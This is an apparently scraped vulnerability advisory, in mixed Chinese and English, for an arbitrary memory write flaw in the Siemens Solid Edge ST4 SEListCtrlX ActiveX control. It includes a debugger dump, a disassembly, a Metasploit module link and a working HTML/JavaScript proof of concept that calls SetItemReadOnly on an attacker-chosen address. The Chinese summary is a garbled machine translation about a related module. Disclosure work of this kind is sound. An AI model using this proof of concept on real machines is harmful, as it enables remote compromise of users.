<table><colgroup><col width="NaN%"></colgroup><tbody><tr><td>SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Control SetItemReadOnly <br>Arbitrary Memory Rewrite Remote Code Execution Vulnerability<br> <br>SEListCtrlX ActiveX 安装与西门子 Solid Edge 产品此模块功绩。此漏洞存在几个 api 提供的控制,在那里用户提供的输入处理作为内存的指针,而不进行适当的验证,允许攻击者读取和损坏从目标进程的内存。本模块滥用方法 NumChildren() 和 DeleteItem() 分别达到内存信息泄漏及远程执行代码。本模块对 IE6-IE9 上 Windows XP SP3 和 Windows 7 SP1 中,使用固体边缘 10.4 测试成功。<br><br>tested against: Microsoft Windows Server 2003 r2 sp2<br> Microsoft Windows XP sp3<br> Internet Explorer 7/8<br> <br>software description: <a href="http://en.wikipedia.org/wiki/Solid_Edge">http://en.wikipedia.org/wiki/Solid_Edge</a><br> <br>vendor site: <a href="http://www.siemens.com/entry/cc/en/">http://www.siemens.com/entry/cc/en/</a><br> <br>download url: <a href="http://www.plm.automation.siemens.com/en_us/products/velocity/forms/solid-edge-student.cfm">http://www.plm.automation.siemens.com/en_us/products/velocity/forms/solid-edge-student.cfm</a><br> <br>POC:metasploit提供了脚本<a href="http://farlight.org/tools/platforms/windows/remote/28724.rb" rel="nofollow">http://farlight.org/tools/platforms/windows/remote/28724.rb</a><br><br>file tested: SolidEdgeV104ENGLISH_32Bit.exe<br> <br> <br>background:<br> <br>the mentioned software installs an ActiveX control with<br>the following settings:<br> <br>ActiveX settings:<br>ProgID: SELISTCTRLX.SEListCtrlXCtrl.1<br>CLSID: {5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}<br>binary path: C:\Program Files\Solid Edge ST4\Program\SEListCtrlX.ocx<br>Safe For Scripting (Registry): True<br>Safe For Initialization (Registry): True<br> <br>Vulnerability:<br> <br>This control exposes the SetItemReadOnly() method, see typelib:<br> <br>...<br>/* DISPID=14 */<br> function SetItemReadOnly(<br> /* VT_VARIANT [12] */ $hItem,<br> /* VT_BOOL [11] */ $bReadOnly<br> )<br> {<br> }<br>...<br> <br>(i)<br>By setting to a memory address the first argument<br>and the second one to 'false' you can write a NULL<br>byte inside an arbitrary memory region.<br> <br>(ii)<br>By setting to a memory address the first argument<br>and the second one to 'true' you can write a \x08<br>byte inside an arbitrary memory region.<br> <br>Example crash:<br> <br>EAX 61616161<br>ECX 0417AB44<br>EDX 01B7F530<br>EBX 0000000C<br>ESP 01B7F548<br>EBP 01B7F548<br>ESI 0417A930<br>EDI 027D5DD0 SEListCt.027D5DD0<br>EIP 033FD158 control.033FD158<br>C 0 ES 0023 32bit 0(FFFFFFFF)<br>P 1 CS 001B 32bit 0(FFFFFFFF)<br>A 0 SS 0023 32bit 0(FFFFFFFF)<br>Z 1 DS 0023 32bit 0(FFFFFFFF)<br>S 0 FS 003B 32bit 7FFD9000(4000)<br>T 0 GS 0000 NULL<br>D 0<br>O 0 LastErr ERROR_SUCCESS (00000000)<br>EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)<br>ST0 empty -NAN FFFF FFFFFFFF FFFFFFFF<br>ST1 empty 3.3760355862290856960e-4932<br>ST2 empty +UNORM 48F4 00000000 00000000<br>ST3 empty -2.4061003025887744000e+130<br>ST4 empty -UNORM C198 00000000 00000000<br>ST5 empty 0.0<br>ST6 empty 1633771873.0000000000<br>ST7 empty 1633771873.0000000000<br> 3 2 1 0 E S P U O Z D I<br>FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)<br>FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1<br> <br>Call stack of thread 000009B8<br>Address Stack Procedure / arguments Called from Frame<br>01B7F54C 027D5DF3 control.?SetItemReadOnly@SEListCtrl@@QAEXPAVSEListItem@@H@Z SEListCt.027D5DED 01B7F548<br>01B7F560 787FF820 Includes SEListCt.027D5DF3 mfc100u.787FF81E 01B7F55C<br>01B7F56C 78807BF5 mfc100u.787FF810 mfc100u.78807BF0 01B7F618<br>01B7F61C 78808312 ? mfc100u.78807A5B mfc100u.7880830D 01B7F618<br> <br> <br> <br>vulnerable code, inside the close control.dll:<br>...<br>;------------------------------------------------------------------------------<br> Align 4<br> ?SetItemReadOnly@SEListCtrl@@QAEXPAVSEListItem@@H@Z:<br> push ebp<br> mov ebp,esp<br> mov eax,[ebp+08h]<br> test eax,eax<br> jz L1011D15C<br> cmp dword ptr [ebp+0Ch],00000000h<br> jz L1011D158<br> or dword ptr [eax+2Ch],00000008h <-------------------- it crashes here<br> pop ebp<br> retn 0008h<br>;------------------------------------------------------------------------------<br>...<br> <br>...<br>;------------------------------------------------------------------------------<br> L1011D158:<br> and dword ptr [eax+2Ch],FFFFFFF7h <-------------------- or here <br> L1011D15C:<br> pop ebp<br> retn 0008h<br>;------------------------------------------------------------------------------<br>...<br> <br>As attachment, code to reproduce the crash.<br> <br> <br> <br><!-- saved from url=(0014)about:internet --><br><html><br><object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' /><br></object><br><script language='javascript'><br>//obj.SetItemReadOnly(0x61616161,false);<br>obj.SetItemReadOnly(0x61616161,true);<br></script><br></td></tr></tbody></table>
暂无评论